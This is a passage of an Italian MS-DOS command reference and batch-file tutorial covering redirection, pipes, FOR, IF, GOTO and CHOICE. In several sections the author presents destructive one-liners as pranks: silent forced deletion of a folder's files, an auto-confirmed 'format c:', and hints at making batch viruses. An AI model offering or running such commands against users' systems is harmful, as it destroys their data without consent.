| E' possibile utilizzare l'opzione /CLASSIFY con /PAGE, ma non con altre opzion|
| di MEM. L'opzione /CLASSIFY si puo' abbreviare in /C. |
| /FREE |
| Elenca le aree di memoria convenzionale e superiore libere. MEM /FREE |
| visualizza l'indirizzo del segmento, la dimensione di ogni area di memoria |
| convenzionale libera e il blocco piu' grande libero in ogni area di memoria |
| superiore. E' possibile utilizzare l'opzione /FREE con /PAGE, ma non con altre|
| opzioni di MEM. Si puo' abbreviare /FREE in /F. |
| /PAGE |
| Fa una pausa dopo ogni schermata di output. Questa opzione puo' essere |
| utilizzata con altre opzioni di MEM. |
+--------------------------------------------------------------------------------+
| |
| MKDIR (MD) |
| |
|Crea una directory. E' possibile utilizzare il comando MKDIR per creare una |
|struttura di directory su piu' livelli. |
| |
| MKDIR [unita':]percorso |
| MD [unita':]percorso |
+--------------------------------------------------------------------------------+
| |
| MSCDEX |
| |
|Fornisce accesso alle unita' CD-ROM. MSCDEX puo' essere caricato dal file |
|AUTOEXEC.BAT o dal prompt dei comandi. Il driver di periferica che fa parte |
|dell'unita' CD-ROM deve essere caricato dal file CONFIG.SYS. Per maggiori |
|informazioni, vedere l'argomento Nota. |
|Il comando MSCDEX non dovrebbe essere utilizzato dopo che Windows e' stato avvia|
| |
| MSCDEX /D:periferica [/D:periferica2... ] [/E] [/K] [/S] [/V] |
| [/L:lettera] [/M:numero] |
| |
| Parametri |
| /D:periferica1 [/D:periferica2... ] |
| Specifica la signature del driver del primo driver di periferica CD-ROM. |
| Il parametro periferica1 deve coincidere con il parametro speicificato |
| dall'opzione /D sul comando CONFIG.SYS che avvia il driver di periferica |
| corrispondente CD-ROM. |
| Il comando MSCDEX deve includere almeno un'opzione /D. Per installare |
| dei driver di periferica CD-ROM addizionali, specificare un'opzione addizio- |
| nale /D per ciascun driver. |
| /E Specifica che il driver CD-ROM deve essere predisposto in modo da espandere|
| memoria, se ne esiste disponibile, per archiviare dei buffer di settore. |
| /V Indica a MSCDEX di visualizzare delle statistiche di visualizzazione della |
|memoria quando viene avviato. |
| /L:lettera |
| Specifica le lettere dell'unita' da assegnare alla prima unita' CD-ROM. Se si|
| ha piu' di un'unita' CD-ROM, MS-DOS assegna delle unita' addizionali |
| conseguenti alle lettere dell'unita' disponibili. |
| /M:numero |
| Specifica il numero di buffer di settore. |
+--------------------------------------------------------------------------------+
| |
| PATH |
| |
|Imposta un percorso di ricerca per file eseguibili. |
|MS-DOS utilizza il comando PATH per cercare i file eseguibili nelle directory |
|specificate. Il percorso di ricerca predefinito e' solo la directory corrente. |
| |
| PATH [[unita':]percorso[;...]] |
| |
|Per visualizzare il percorso di ricerca corrente, utilizzare la sintassi: PATH |
| |
|Per eliminare tutte le impostazioni dei percorsi di ricerca e lasciare soltanto |
|quella predefinita (la directory corrente), utilizzare la seguente sintassi PATH|
| |
|Quando e' specificato da solo, elimina tutte le impostazioni dei percorsi e |
|indica a MS-DOS di ricercare soltanto nella directory corrente. |
+--------------------------------------------------------------------------------+
| |
| PRINT |
| |
|Stampa un file di testo durante l'elaborazione di altri comandi MS-DOS. |
|Se si dispone di una periferica di output, collegata ad una delle porte seriali |
|o parallele del sistema, con il comando PRINT sara' possibile stampare in back |
|ground. |
| |
| PRINT [/D:periferica] [/B:dimensioni] [/U:tic1] [/M:tic2] [/S:tic3] |
| /Q:dimensionicoda] [/T] [[unita':][percorso] nomefile[ ...]] [/C] [/P] |
| |
|Per installare il comando PRINT utilizzando i parametri predefiniti o per |
|visualizzare il contenuto della coda di stampa senza modificarla, la sintassi |
|sara' la seguente: PRINT |
| |
| Opzioni |
| /D:periferica |
| Specifica il nome della periferica di stampa. I valori validi delle porte |
| parallele sono LPT1, LPT2 e LPT3. I valori validi delle porte seriali sono |
| COM1, COM2,
COM3 e COM4. Il valore predefinito e' PRN. I valori PRN e LPT1 |
| si riferiscono alla stessa porta parallela. L'opzione /D deve precedere il |
| nome di qualsiasi file sulla riga di comando. |
| /T Elimina tutti i file dalla coda di stampa. |
+--------------------------------------------------------------------------------+
| |
| PROMPT |
| |
|Modifica l'aspetto del prompt dei comandi di MS-DOS. |
|E' possibile personalizzare l'aspetto del prompt dei comandi in maniera tale da |
|visualizzare una qualsiasi stringa di testo, con informazioni quali il nome dell|
|directory corrente, l'ora e la data e il numero della versione di MS-DOS. |
| |
| PROMPT [testo] |
| |
| Testo |
| |
| $Q = (segno di uguale) |
| $$ $ (simbolo del dollaro) |
| $T Ora corrente |
| $D Data corrente |
| $P Unita' e percorso corrente |
| $V Numero della versione di MS-DOS |
| $N Unita' corrente |
| $G > (segno di maggiore) |
| $L < (segno di minore) |
| $B | (pipe) |
| $_ INVIO-NUOVA RIGA |
| $E Il codice escape ASCII (codice 27) |
| $H BACKSPACE (elimina un carattere che e' stato scritto sulla riga di prompt|
+--------------------------------------------------------------------------------+
| |
| RENAME (REN) |
| |
|Cambia il nome di uno o piu' file. |
|E' possibile assegnare un nuovo nome a tutti i file che corrispondono al nome |
|specificato. Non e' possibile utilizzare questo comando per assegnare un nuovo |
|nome a file di unita' diverse o per spostarli in nuove directory. Per rinominare|
|le sottodirectory o spostare i file, utilizzare il comando |
| |
| RENAME [unita':][percorso]nomefile1 nomefile2 |
| REN [unita':][percorso]nomefile1 nomefile2 |
+--------------------------------------------------------------------------------+
| |
| RMDIR (RD) |
| |
|Elimina (rimuove) una directory. |
|Prima di eliminare una directory, e' necessario eliminare prima tutti i file e |
|le sottodirectory contenuti in essa. La directory deve essere vuota, fatta |
|eccezione per i simboli "." e "..". |
| |
| RMDIR [unita':]percorso |
| RD [unita':]percorso |
+--------------------------------------------------------------------------------+
| |
| SCANDISK |
| |
|Avvia Microsoft ScanDisk, un'utilita' di scansione e ripristino che controlla |
|una data unita' per rilevare degli errori e correggere eventuali problemi. |
|Per un'introduzione all'uso di ScanDisk, consultare |
| |
|Usare la sintassi seguente per controllare eventuali errori su disco: SCANDISK |
| |
|Usare la sintassi seguente per controllare eventuali errori su due o piu' dischi|
| |
| SCANDISK [unita': [unita': ...]|/ALL] [/CHECKONLY | /AUTOFIX [/NOSAVE] | |
| CUSTOM] [/SURFACE] [/MONO] [/NOSUMMARY] |
| |
| Opzioni |
| /ALL Controlla e ripristina tutte le unita' locali. |
| /AUTOFIX |
| Corregge gli errori senza chiedere prima conferma. Per impostazione |
| predefinita, avviando ScanDisk con l'opzione /AUTOFIX tutti i cluster persi |
| rilevati sull'unita', verranno salvati come file nella directory principale |
| dell'unita'. Per fare in modo che ScanDisk elimini i cluster persi invece di|
| salvarli, includere l'opzione /NOSAVE. Utilizzando l'opzione /AUTOFIX, se |
| vengono rilevati errori verra' richiesto un disco Undo. Per evitarlo, |
| includere l'opzione /NOSUMMARY. Non e' possibile utilizzare l'opzione |
| /AUTOFIX unitamente alle opzioni /CHECKONLY o /CUSTOM. |
| /CHECKONLY |
| Controlla una data unita' per rilevarvi degli errori, ma non li corregge. |
| Non si puo usare questa opzione unitamente alle opzioni /AUTOFIX or /CUSTOM|
| /NOSAVE |
| Fa in modo che ScanDisk elimini tutti i cluster persi rilevati. Puo' essere |
| utilizzato solo unitamente all'opzione /AUTOFIX. (Se si avvia ScanDisk con |
| l'opzione /AUTOFIX omettendo l'opzione /NOSAVE, ScanDisk salvera' il |
| contenuto dei cluster persi come file nella directory principale dell'unita'|
| /SURFACE |
| Esegue automaticamente una scansione della superficie dell'unita' dopo aver |
| controllato altre aree. Con una scansione della superficie di un'unita' non |
| compressa, ScanDisk conferma che i dati possono essere scritti e letti con |
| sicurezza. Con la scansione di un'unita' compressa ScanDisk conferma che i |
| dati possono essere decompressi. E' consigliabile esaminare periodicamente |
| la superficie di tutte le unita'. In base all'impostazione predefinita, una |
| volta terminato l'esame del file system di una data unita', ScanDisk chiede |
| se si desidera effettuare una scansione della superficie. Con l'opzione |
| /SURFACE tale scansione viene effettuata senza chiedere conferma. Se si usa |
| /SURFACE unitamente all' opzione /CUSTOM esso ha la precedenza sulle imposta|
| zioni di Superficie nella sezione [Custom] del file SCANDISK.INI. |
+--------------------------------------------------------------------------------+
| |
| SMARTDRV |
| |
|Avvia o configura il programma SMARTDrive il quale crea una cache del disco nell|
|memoria estesa. Una cache del disco puo' velocizzare in modo significativo le |
|operazioni di MS-DOS. Quando viene utilizzato per l'operazione di caching del |
|disco, SMARTDrive viene caricato utilizzando il comando SMARTDRV nel file |
|AUTOEXEC.BAT o al prompt dei comandi. SMARTDrive puo' anche eseguire un doppio |
|buffering, il quale e' compatibile per i controller del disco rigido che non |
|possono funzionare con la memoria fornita da EMM386 o Windows eseguito in modali|
|ta' 386 avanzata. Per utilizzare il doppio buffering, caricare il driver di peri|
|ferica utilizzando un comando DEVICE nel file CONFIG.SYS. |
|Il comando SMARTDRV non sara' caricato dopo che Windows e' stato avviato. |
| |
|Quando si avvia SMARTDrive dal file AUTOEXEC.BAT o dal prompt dei comandi, |
|utilizzare la seguente sintassi: |
| |
| [unita':][percorso]SMARTDRV [/X] [[unita'[+|-]]...] [/U] [/C|/R] [/F|/N] |
| [/L] [/V|/Q|/S] [DimCacheIniz][DimCacheWin]] [/E:DimElemen] [/B:] |
| |
|Quando inizia l'esecuzione di SMARTDrive, utilizzare la seguente sintassi: |
| |
|SMARTDRV [/X] [[unita'[+|-]]...]] [/C|/R] [/F|/N] [/Q|/S] |
| |
|Per visualizzare lo stato corrente dopo che e' stato caricato SMARTDrive, usare |
|la sintassi seguente: SMARTDRV |
| |
|Se si specifica una lettera dell'unita' senza un segno di addizione o sottrazio |
|ne, l'opzione di caching di lettura e' attivata e quella di scrittura e' disat |
|tivata. Se si specifica una lettera dell'unita' seguita da un segno di addizione|
|le due opzioni sono attivate. Se si specifica una lettera dell'unita' seguita da|
|un segno di sottrazione, le opzioni sono disattivate. Se non si specifica una |
|lettera dell'unita', le unita' dischi floppy, CD-ROM e le unita' create utiliz |
|zando Interlnk sono attivate con l'opzione di lettura ma non di scrittura, i dis|
|chi fissi conentrambe le opzioni attivate e le unita' di rete e le schede di |
|memoria Microsoft Flash vengono ignorate. Per maggiori informazioni su come |
|DriveSpace effettua il caching delle unita' compresse, vedere Note. Dimcacheiniz|
|Specifica la dimensione in kilobyte della cache quando SMARTDrive viene avviato |
|(quando Windows non viene eseguito). DimCacheWin Specifica, in kilobyte, in che |
|misura SMARTDrive ridurra' la dimensione della cache per Windows. Quando viene |
|avviato Windows, SMARTDrive riduce la dimensione della cache per recuperare memo|
|ria per l'utilizzo di Windows. |
| |
| Opzioni |
| /X Disattiva il caching write-behind per tutte le unita'. E' possibile |
| quindi attivare il caching per le singole unita' usando il parametro |
| unita'+|-. |
| /U Non carica il modulo caching CD-ROM di SMARTDrive anche se si possiede |
| un'unita' CD-ROM. Se viene caricato SMARTDrive con l'opzione /U, non e' |
| possibile attivare il caching dell'unita' CD-ROM. Se e' caricato SMARTDrive|
| senza l'opzione /U, e' possibile disattivare o attivare il caching di singo|
| le unita' CD-ROM usando il parametro dell'unita'+|-. |
| /C Scrive tutte le informazioni di cui e' stato eseguito il caching dalla |
| memoria sui dischi. SMARTDrive scrive informazioni dalla memoria sul disco |
| a volte quando altra attivita' del disco e' rallentata. Si potrebbe utiliz-|
| zare questa opzione se si sta spegnendo il computer e ci si vuole assicura-|
| re che le informazioni cache sono state scritte sul disco. |
| SMARTDrive scrive tutte le informazioni cache sul disco se si riavvia il |
| computer premendo CTRL+ALT+CANC, ma non se si spegne o si preme il pulsante|
| di riavvio. |
| /S Visualizza informazioni addizionali circa lo stato di SMARTDrive. |
| Avvertenza: Controllare che SMARTDrive abbia completato l'opzione di cache|
| di scrittura prima di riavviare o spegnere il computer. Questo non e' neces|
| sario se si riavvia il computer premendo CTRL+ALT+CANC. Per fare in modo |
| che SMARTDrive scriva tutte le informazioni di cui e' stato eseguito il |
| caching sui dischi, digitare SMARTDRV /C al prompt dei comandi. Dopo che |
| l'attivita' del disco |e' stata interrotta, e' possibile riavviare il compu|
| ter per sicurezza o spegnere il computer. |
+--------------------------------------------------------------------------------+
| |
| SUBST |
| |
|Associa un percorso ad una lettera di unita'. |
|La lettera di unita' assegnata rappresenta un'unita' virtuale dato il suo possi-|
|bile uso come unita' fisica all'interno dei comandi. Non usare il comando SUBST |
|quando Windows e' in esecuzione. |
| |
| SUBST [unita'1: [unita'2:]percorso] |
| SUBST unita'1: /D |
| |
|Per visualizzare i nomi delle unita' virtuali attive, utilizzare sintassi: SUBST|
| |
| Opzione |
| /D Elimina un'unita' virtuale. |
+--------------------------------------------------------------------------------+
| |
| SYS |
| |
|Crea un disco di avvio, copiando sul disco i file di sistema di MS-DOS (IO.SYS |
|and MSDOS.SYS), l'interprete dei comandi MS-DOS (COMMAND.COM) e la parte di |
|MS-DOS che fornisce accesso alle unita' compresse (DRVSPACE.BIN). Il comando SYS|
|copiera' il file DRVSPACE.BIN solo se tale file si trova nella directory princi-|
|pale dell'unita' o della directory di origine. IO.SYS, MSDOS.SYS and DRVSPACE.BI|
|sono file nascosti e pertanto in genere non compaiono negli elenchi delle direc-|
|tory visualizzate dal comando DIR. |
|Per visualizzare questi file, digitare DIR /A. |
| |
| SYS [unita'1:][percorso] unita'2: |
+--------------------------------------------------------------------------------+
| |
| TYPE |
| |
|Visualizza il contenuto di un file di testo. |
|Utilizzare il comando TYPE per visualizzare un file di testo senza modificarlo. |
| |
| TYPE [unita':][percorso]nomefile |
+--------------------------------------------------------------------------------+
| |
| UNDELETE |
| |
|Ripristina i file eliminati in precedenza con il comando. |
|UNDELETE fornisce tre livelli di protezione dei file da eliminazioni accidentali|
|metodo Sentry di eliminazione, metodo Registro di eliminazione e metodo Standard|
|Per maggiori informazioni relative ai singoli livelli di protezione, vedere Note|
|Per informazioni relative alla versione di Undelete per Windows, consultare il |
|capitolo "Gestione del sistema" nel Manuale dell'utente di MS-DOS oppure la Guid|
|di Undelete per Windows. |
| |
| UNDELETE [[unita':][percorso]nomefile] [/DT|/DS|/DOS] |
| UNDELETE [/LIST|/ALL|/PURGE[unita']|/STATUS|/LOAD|/UNLOAD|/S[unita]|/Tunita' |
| [-voci]] |
| |
| Opzioni |
| /LIST |
| Elenca i file eliminati che sono disponibili per il recupero, ma non recupera|
| alcun file. Il parametro [unita':][percorso]nomefile e le opzioni /DT, /DS e |
| /DOS controllano l'elenco fornito dall'opzione. |
| /DOS |
| Recupera soltanto i file elencati come file eliminati da MS-DOS, chiedendo |
| conferma per ciascuno di essi. Se esiste un file di registrazione dell'elimi-|
| nazione, l'opzione indica a Undelete di ignorarlo. |
| /LOAD |
| Carica nella memoria Undelete, un programma residente in memoria, utilizzando|
| le informazioni definite nel file UNDELETE.INI. Se il file UNDELETE.INI non |
| esiste, Undelete utilizzera' i valori predefiniti. |
| /UNLOAD |
| Rimuove la porzione del programma Undelete che risiede in memoria, impedendo |
| in tal modo il ripristino dei file eliminati. |
+--------------------------------------------------------------------------------+
| |
| UNFORMAT |
| |
|Ripristina un disco cancellato dal comando FORMAT. |
|UNFORMAT ripristina solo unita' disco rigido o floppy locali, mentre non puo' |
|essere utilizzato per ripristinare unita' di rete. Il comando UNFORMAT puo' |
|inoltre ricostruire una tabella delle partizioni del disco danneggiate su un' |
|unita' disco rigido. |
| |
| UNFORMAT unita': [/L] [/TEST] [/P] |
| |
| Opzioni |
| /L Elenca tutti i file e le sottodirectory trovate da UNFORMAT. Se questa |
| opzione non viene specificata, UNFORMAT elenca solo le sottodirectory e |
| i file frammentati. Per sospendere lo scorrimento dell'elenco visualizzato,|
| premere la combinazione di tast i CTRL+S. Per riprendere lo scorrimento, |
| premere un tasto qualsiasi. |
+--------------------------------------------------------------------------------+
| |
| VER |
| |
|Visualizza il numero della versione di MS-DOS. |
| |
| VER |
+--------------------------------------------------------------------------------+
| |
| VOL |
| |
|Visualizza l'etichetta di volume e il numero di serie del disco, se esistenti. |
| |
| VOL [unita':] |
+--------------------------------------------------------------------------------+
| |
| XCOPY |
| |
|Copia file (ad eccezione dei file di sistema e nascosti) e directory, incluse le|
|sottodirectory. |
|Con questo comando e' possibile copiare tutti i file di una directory, compresi |
|i file nelle relative sottodirectory. |
| |
| XCOPY origine [destinazione] /Y|/-Y] [/A|/M] [/D:data] [/P] [/S] [/E] [/V] [/W]|
| |
| Opzioni |
| /Y Indica che XCOPY sostituisce i file esistenti senza chiedere conferma. |
| Per impostazione predefinita, se si specifica un file come file di destina-|
| zione, XCOPY chiedera' se si desidera sovrascrivere il file esistente. (Le |
| versioni precedenti di MS-DOS sostituiscono semplicemente il file esistente|
| Se il comando XCOPY e' parte di un file batch, XCOPY si comportera' come |
| nelle precedenti versioni. Specificando questa operazione si ha la precede-|
| nza su tutte le impostazioni predefinite e correnti della variabile d'ambie|
| nte COPYCMD. |
| /-Y Indica che XCOPY chiede la conferma quando sostituisce un file esistente. |
| Specificando questa opzione si ha la precedenza su tutte le impostazioni |
| predefinite e correnti della variabile d'ambiente COPYCMD. |
| /P Chiede conferma alla creazione di ciascun file di destinazione con un messa|
| ggio. |
| /S Copia le directory e le sottodirectory, purche' non siano vuote. Se viene |
| omessa questa opzione, XCOPY ha effetto solo all'interno di una singola |
| directory. |
| /E Copia qualsiasi sottodirectory, anche se vuota. Con questa opzione e' neces|
| sario utilizzare l'opzione /S. |
+--------------------------------------------------------------------------------+
| |
| -=< 4 >=- L'USO DEI CARATTERI JOLLY |
| |
|In ambiente DOS c'è la possibilità di raggruppare tutti i files di uno stesso |
|tipo durante lo svolgimento di un'operazione. Ad esempio , se volessi che tutti |
|i miei files di WORD (che hanno estensione ".DOC") vengano messi in una cartella|
|differente da quella in cui sono in questo momento, ammettendo che la vecchia |
|cartella sia c:\vecchia e che quella nuova sia c:\nuova\ , posso scrivere: |
| |
| copy c:\vecchia\*.doc c:\nuova\ o altrimenti: |
| move c:\vecchia\*.doc c:\nuova\ |
| |
|C'è anche il modo di selezionare TUTTI i files che ci sono in una cartella, |
|indipendentemente dalla loro estensione. Basta scrivere questo: |
| |
| copy c:\vecchia\*.* c:\nuova\ |
| move c:\vecchia\*.* c:\nuova\ |
| |
|Ovviamente, è sfruttabile con TUTTI i comandi, non solo con "copy" o "move". |
+--------------------------------------------------------------------------------+
| |
| -=< 5 >=- IL COMANDO ECHO |
| |
|Il comando ECHO serve a far apparire sul monitor (o su un file, se ridirezionia-|
|mo l'output) una frase o una parola scritta. |
| |
| echo CIAO! |
| |
|Ms Dos visualizzerà CIAO! |
| |
|Possiamo anche far saltare una riga col comando echo, basta scrivere |
| |
| echo. |
| |
|Questo serve in caso che doveste creare un menu o delle spiegazioni con delle |
|interlinee. |
+--------------------------------------------------------------------------------+
| |
| -=< 6 >=- SCRIVIAMO IL NOSTRO PRIMO BATCH |
| |
|Poniamo di dovere nello stesso tempo eliminare tutti i files con estensione .doc|
|e di dovere rinominare tutti i files di testo (*.txt) in files con estensione |
|.xxx, magari perchè un certo programma ce lo richiede (il caso è assurdo, lo so,|
|ma per fare capire non conosco un altro metodo :-). |
| |
|Come possiamo fare?! |
|Prima di tutto stabiliamo che lavoreremo su due cartelle, cioè: |
| |
| c:\documenti\textdoc\ |
| c:\documenti\xxxdoc\ |
| |
|Quindi, creiamole subito con Windows o con Dos (vedere lassu' come fare con Dos)|
|Per poter fare questa prova, dobbiamo mettere nella cartella |
|c:\documenti\textdoc\ dei files con estensione .doc (createne voi, o copiatene |
|degli altri .. ) Mentre in c:\documenti\xxxdoc\ dobbiamo avere dei files .TXT |
|(vale la stessa cosa anche qua ... trovateli o fateli voi ... ) |
|A questo punto dobbiamo creare il BATCH. |
| |
|Dal Prompt di MsDos, digitiamo: |
| |
| copy con c:\documenti\prova.bat |
| |
|Con questo comando scriveremo dal Prompt il nostro file. |
|Dovete sapere che ogni BATCH, a meno che non sia specificato, mostra all'utente |
|OGNI comando dato. Per esempio, se dovessimo copiare un file chiamato Testo.txt |
|da una cartella ad un altra, il computer ci visualizzerebbe il comando dato cioè|
| |
|"copy c:\testo.txt c:\documenti" ... e anche |
|" 1 file copiato/i" |
| |
|Per evitare che visualizzi almeno il COMANDO è utilissimo scrivere qesto comando|
|all'inizio di tutti i nostri batch: |
| |
| @echo off |
| |
|ECHO OFF appunto, non mostra il comando, mentre la chiocciola davanti non mostra|
|nemmeno il comando "ECHO OFF". La "@" messa davanti ad un qualsiasi comando , lo|
|nasconde se non è stato scritto "ECHO OFF" all'inizio,mentre lo mostra se è gia |
|stato scritto. |
| |
|Okay, dopo aver scritto "@echo off" diamo un invio. |
|Noterete che Dos sta fungendo da editor di testoe noi possiamo scrivere tutte le|
|stringhe di comandi che desideriamo. Dopo ogni comando, diamo SEMPRE un invio |
|per andare a capo. |
| |
|Adesso dobbiamo eliminare tutti i .DOC , e lo facciamo così: |
| |
| erase c:\documenti\textdoc\*.doc |
| |
|Bene, adesso rinominiamo tutti i files .txt che ci sono in c:\documenti\xxxdoc\ |
|in .XXX |
| |
|rename c:\documenti\xxxdoc\*.txt *.xxx |
| |
|Fatto! Se tutto va bene, possiamo vedere il nostro file tutto completo ... |
| |
| @echo off |
| erase c:\documenti\textdoc\*.doc |
| rename c:\documenti\xxxdoc\*.txt *.xxx |
| |
|Per finire di digitare, premiamo Ctrl+Z e il computer ci dirà "1 file copiato/i"|
+--------------------------------------------------------------------------------+
| |
| -=< 7 >=- FACCIAMO PARTIRE IL NOSTRO BATCH |
| |
|Andiamo a vedere da Windows il nostro batch, lo troviamo in c:\documenti\ |
|Avviamolo e stiamo a vedere che fa. A fine del lavoro la finestra di DOS ci deve|
|dire: |
| |
| "ESECUZIONE TERMINATA", restando aperta. |
| |
|Se tutto è andato bene, avremo eliminato tutti i .doc e avremo rinominato tutti |
|i .txt in .xxx . Bene, il lavoro è stato eseguito con successo! |
+--------------------------------------------------------------------------------+
| |
| -=< 8 >=- INVENTIVA |
| |
|Quello che vi serve per creare dei batch è solo ed esclusivamente INVENTIVA. |
|Con un po' di pratica, un po' di studio dei comandi principali, potrete creare |
|un sacco di potenti batch. |
|Mi raccomando, evitate di fare troppi danni :-), o se dovete proprio farli, |
|fateli bene! |
+--------------------------------------------------------------------------------+
| |
| -=< 9 >=- RIDIREZIONARE L'OUTPUT |
| |
|Con DOS è possibile ridirezionare l'output dei comandi ad una periferica o in un|
|file. E si puo' anche caricare i comandi di un file di testo come dei comandi |
|per DOS. |
| |
|Per questo, si usano i caratteri ">" e "<" |
| |
|Se volessi ad esempio scrivere la lista delle mie directory su un file di testo,|
|lo farei così: |
| |
| dir/p > c:\dirlog.txt |
| |
|Abbiamo cioè salvato tutto quello che doveva essere visualizzato sul monitor in |
|un file chiamato "dirlog.txt". In questo modo se non esiste, creiamo il file |
|dirlog.txt e ci scriviamo sopra. Se invece volessimo accodare ad un file gia |
|preesente l'output dei nostri comandi, dovremmo usare ">>" anzichè ">". |
|Un solo ">" SOVRASCRIVE il file, mentre ">>" ACCODA tutto l'output al file gia |
|presente. |
| |
|Se volessimo vedere cio che c'è scritto in quel file ... digitiamo: |
| |
| more < c:\dirlog.txt |
| |
|Adesso tutto quello che c'è scritto su quel file verrà visualizzato poco alla |
|volta sul nostro schermo. |
| |
|Se volessimo stampare un documento, digitiamo: |
| |
| more c:\dirlog > lpt1 |
| |
|IL > NUL |
| |
|MsDos permette di ridirezionare l'output "nel nulla". |
|Cosa significa? Che il comando viene eseguito, ma non verrà visualizzato o salva|
|to da nessuna parte. Utile per nascondere certi comandi che non vogliamo far |
|visualizzare all'utente. |
| |
| echo s | erase c:\nomecartella\*.* > nul |
| |
|In questa stringa è racchiusa una vera e propria bastardata , in quanto l'utente|
|all'oscuro di tutto elimina ogni file nella directory. |
+--------------------------------------------------------------------------------+
| |
| -=< 10 >=- L'USO DELLA PIPELINE |
| |
|La PIPELINE è un carattere speciale che dirige il comando che la precede al |
|comando che viene dopo. Per farvi capire meglio, quando noi ad esempio vogliamo |
|eliminare tutti i files di una directory (cartella), dovremmo digitare |
| |
| erase *.* |
| |
|Ma il sistema ci visualizza una conferma di eliminazione ... cosa che noi NON |
|vogliamo proprio per nulla! |
|La PIPELINE in questo caso è UTILISSIMA! |
| |
|echo s | erase c:\nomecartella\*.* |
| |
|Con questo comando il sistema SCRIVE (echo) una "S" alla conferma della elimina-|
|zione, e quindi l'utente non potrà decidere di confermare o di stoppare il batch|
|Malvagio, no? |
|Ovviamente, vale per TUTTI i comandi, come anche |
| |
|echo s | format c: |
| |
|(chi ha un minimo di intelligenza avrà capito lo scopo di questo comando!) |
+--------------------------------------------------------------------------------+
| |
| -=< 11 >=- L'USO DEL COMANDO "FOR" |
| |
|Ogni utente che si avvicina al mondo della "programmazione" dei batch cambia la |
|propria concezione di quello che puo' causare un file .BAT. |
| |
|Per farvi capire, dobbiamo agire interamente da DOS. |
|Creiamo un batch contenente i seguenti comandi, e lo chiamiamo "name.bat" |
| |
| @echo off |
| echo il primo parametro e' %1 |
| echo il secondo parametro e' %2 |
| echo il terzo parametro e' %3 |
| |
|Bene, adesso sempre da DOS digitiamo |
| |
| name.bat MILAN INTER JUVE |
| |
|Il risultato sarà: |
| |
| c:\name.bat MILAN INTER JUVE |
| il primo parametro e' MILAN |
| il secondo paramentro e' INTER |
| il terzo parametro e' JUVE |
| |
|Perchè questo? |
|Quando DOS trova "%1", va a prendere come nome la prima parola DOPO il nome del |
|nostro file batch. Dopo di quello, assegna automaticamente %2 %3 .... a tutti i |
|nomi (argomanti) seguenti ... |
| |
|Applicato al comando FOR, la cui sintassi è: |
| |
| FOR %%PARAMETRO IN(cartelle, files ...) DO COMANDO |
| |
|Ovvero "Per ogni elemento in un certo luogo, esegui un comando" |
| |
|ESEMPIO PRATICO |
| |
|for %%a in (c:\documenti\*.doc) do echo %%a > c:\nomi.txt |
| |
|Con questo comando scriviamo il nome di ogni file con estensione .DOC sul file |
| |
|c:\nomi.txt |
| |
|So perfettamente che non è molto semplice da capire, ma si tratta di fare solo |
|un po' di esperienza, dopotutto. |
+--------------------------------------------------------------------------------+
| |
| -=< 12 >=- L'USO DELL' IF EXIST / IF NOT EXIST ... |
| |
|DOS permette di eseguire un certo comando a certe condizioni. |
|Se volessimo ad esempio creare un batch che ci visualizzi un avviso se abbiamo |
|un certo file in una cartella, dovremmo scrivere: |
| |
| if exist c:\nomefile.??? echo FILE PRESENTE |
| |
|(Ovvio, i ??? sono l'estensione del file!) |
|La stessa cosa possiamo farla se una certa condizione NON è soddisfatta: |
| |
| if not exist c:\nomefile.??? echo FILE MANCANTE |
| |
|Il tutto è facilmente applicabile in ogni batch ... basta avere un po' di fanta-|
|sia. |
|Altri esempi ... |
| |
| if exist c:\windows\temp\*.* echo s | erase c:|windows\temp\*.* |
+--------------------------------------------------------------------------------+
| |
| -=< 13 >=- L'USO DI "GOTO" |
| |
|In un batch è possibile saltare da un comando all'altro senza rispettare l'ordi-|
|ne. |
| |
|Esempio pratico: Vogliamo che il nostro batch salti un comando se è presente un |
|certo file in una cartella. |
| |
| @echo off |
| if exist c:\documenti\file.??? goto keep |
| erase c:\documenti\file.??? |
| :keep |
| echo FILE PRESENTE |
| |
|In questo modo verrà saltata l'eliminazione del file, poiche' e è presente, DOS |
|va a cercare il caposaldo :keep e ricomincia l'esecuzione del bach da quel punto|
| |
|Con questa tecnica si puo' creare un loop infinito, dato che possiamo richiamare|
|anche dei comandi scritti PRIMA del "GOTO". |
| |
| @echo off |
| :init |
| echo BUM! |
| goto init |
| |
| Provate a fermarloooooo !!! |
| |
|L'uso di GOTO è molto importante per creare un batch SERIAMENTE intelligente, e |
|magari unendo IF ... + GOTO possiamo creare dei veri virus. |
+--------------------------------------------------------------------------------+
| |
| -=< 14 >=- L'USO DI "REM" |
| |
|Per chi scrive i batch, non è sempre così facile ricordarsi tutto quello che |
|viene svolto dopo una buona serie di comandi, e per facilitare il lavoro al pro-|
|grammatore dei suddetti, è stato introdotto il comando REM |
| |
|E' preticamente identico a ECHO, solo che il testo scritto dopo un REM non verrà|
|visualizzato nell'esecuzione del batch. Diciamo che è un comando "Pro memoria"! |
+--------------------------------------------------------------------------------+
| |
| -=< 15 >=- L'USO DI "CHOICE" |
| |
|CHOICE è un comando MOLTO interessante e rende i nostri batch molto piu funzio- |
|nali e dinamici. Serve sostanzialmente a far scegliere all'utente cosa fare. |
| |
|La sintassi è la seguente: |
| |
| CHOICE[string][/C:keys][/S][/T:key,secs] |
| |
| choice /c:P5ep /S |
| |
|Il flag /S abilita l'opzione "Case Sensitive" ... cioè significa che premere ad |
|Esempio "P" e "p" significano due cose differenti. |
| |
|choice SCEGLI IL BROWSER /c:NI /t:1,5 |
| |
|Significa che l'utente deve scegliere tra N e I e se non viene premuto nulla, |
|dopo 5 secondi viene automaticamente selezionato "I". |
| |
|Adesso, usando il comando "IF ERRORLEVEL", completiamo il lavoro di CHOICE. |
|Mi spiego meglio ... |
| |
| @ECHO OFF |
| ECHO. |
| ECHO. |
| ECHO Benvenuti nella scelta del browser |
| ECHO. |
| ECHO 1. Internet Explorer 5.5 |
| ECHO 2. Mozilla 5 |
| ECHO x. Esci |
| ECHO. |
| CHOICE "Scegli" /C:12x /N |
| IF ERRORLEVEL 3 GOTO END |
| IF ERRORLEVEL 2 START C:\progra~1\Netscape |
| IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe |
| :END |
| |
|In questo esempio abbiamo proprio il significato di CHOICE e IF ERRORLEVEL. |
|Non servono parole per capirlo, basta guardare :-) |
+--------------------------------------------------------------------------------+
| |
| -=< 16 >=- IL CARATTERE FANTASMA ALT 255 |
| |
|C'è un modo per togliere apparentemente il nome ad un file o ad una cartella. |
|Certo, detto così sembra una cazzata, ma vi assicuro che in molti ci cascano e |
|in tanti altri ci restano male! |
| |
|Usando il codice ASCII (American Standard Code for Input Output) possiamo far si|
